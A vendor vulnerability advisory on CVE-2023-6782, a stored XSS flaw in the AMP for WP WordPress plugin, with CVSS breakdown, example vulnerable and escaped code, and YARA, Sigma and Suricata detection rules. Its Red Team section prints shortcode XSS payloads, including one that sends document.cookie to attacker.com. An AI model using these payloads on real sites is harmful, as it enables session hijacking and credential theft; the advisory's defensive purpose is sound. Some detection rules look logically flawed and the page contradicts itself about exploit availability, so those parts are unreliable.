CVE-2023-6782
Executive Summary
CVE-2023-6782 is a Stored Cross-Site Scripting (XSS) vulnerability in the AMP for WP – Accelerated Mobile Pages WordPress plugin, affecting all versions up to and including 1.0.92. The vulnerability resides in the plugin's shortcode handling, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level permissions to inject arbitrary web scripts into pages. When a victim accesses an injected page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium), and no public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is elevated due to the low privileges required and the lack of user interaction needed for exploitation. However, the impact is limited to low confidentiality and integrity loss.
Deep Dive & Mechanics
The vulnerability exists in the AMP for WP plugin's shortcode implementation. Shortcodes in WordPress allow users to embed dynamic content via simple tags like [amp-xyz attribute="value"]. The plugin fails to properly sanitize and escape user-supplied attributes within these shortcodes. An attacker with Contributor-level access can craft a shortcode with malicious JavaScript in an attribute, such as:
[amp-xyz onerror="alert('XSS')"]
When the page is rendered, the browser executes the injected script. The stored nature means the payload persists in the database and executes for every visitor.
Vulnerable vs. Patched Code
Vulnerable Code (<= 1.0.92):
The plugin likely uses add_shortcode() and directly outputs attribute values without escaping. Example:
function amp_shortcode_handler($atts) {
$output = '<div class="' . $atts['class'] . '">Content</div>';
return $output;
}
add_shortcode('amp-xyz', 'amp_shortcode_handler');
Patched Code (Hypothetical):
The patched version would escape attribute values using esc_attr():
function amp_shortcode_handler($atts) {
$class = esc_attr($atts['class']);
$output = '<div class="' . $class . '">Content</div>';
return $output;
}
add_shortcode('amp-xyz', 'amp_shortcode_handler');
Exploitation & Lab Setup
Red Team
- Prerequisites: WordPress site with AMP for WP plugin <= 1.0.92, an account with Contributor-level permissions.
- Craft Payload: Create a post or page and insert a shortcode with a malicious attribute:
[amp-xyz onmouseover="alert(document.cookie)"] - Trigger: When an admin or visitor hovers over the element, the script executes.
- Advanced Payload: Use event handlers like
onerror,onload, oronfocusfor automatic execution:[amp-xyz onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"]
Blue Team
- Detection: Monitor for posts/pages containing suspicious shortcode attributes (e.g.,
onerror,onmouseover). - Prevention: Implement a Web Application Firewall (WAF) rule to block shortcodes with event handlers.
- Hunting: Search the database for shortcode patterns using SQL queries:
SELECT * FROM wp_posts WHERE post_content LIKE '%[amp-%' AND post_content LIKE '%onerror%';
Indicators of Compromise (IOCs)
- File Indicators: Modified plugin files (e.g.,
wp-content/plugins/accelerated-mobile-pages/*.php). - Network Indicators: Outbound connections to attacker-controlled domains from WordPress admin pages.
- Database Indicators: Posts/pages containing shortcodes with event handler attributes (e.g.,
onerror,onload). - Log Indicators: Unusual 404 errors or POST requests to
wp-admin/admin-ajax.phpwith shortcode payloads.
Detection Engineering
YARA Rule
rule CVE_2023_6782_Stored_XSS {
meta:
description = "Detects stored XSS payloads in AMP for WP shortcodes"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-6782"
strings:
$shortcode = /\[amp-[a-z]+\s+[^\]]*?(onerror|onload|onmouseover|onfocus|onclick)\s*=\s*["']?[^"'\]]*?["']?\]/i
condition:
$shortcode
}
Sigma Rule
title: CVE-2023-6782 Stored XSS via AMP for WP Shortcodes
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in WordPress posts/pages using AMP for WP shortcodes
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains:
- '/wp-admin/post.php'
- '/wp-admin/post-new.php'
http.body|contains|all:
- '[amp-'
- 'onerror'
- 'onload'
- 'onmouseover'
condition: selection
falsepositives:
- Legitimate use of event handlers in shortcodes (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-6782 Stored XSS via AMP for WP Shortcodes"; flow:to_server,established; content:"[amp-"; nocase; content:"onerror"; nocase; distance:0; within:200; content:"onload"; nocase; distance:0; within:200; content:"onmouseover"; nocase; distance:0; within:200; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the AMP for WP plugin until a patch is available.
- Short-term: Restrict Contributor-level permissions to trusted users only.
- Long-term: Apply the vendor patch when released, or manually escape shortcode attributes in the plugin code.
- Compensating Controls: Implement a WAF rule to block shortcodes containing event handlers. Use a WordPress security plugin to monitor file integrity.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.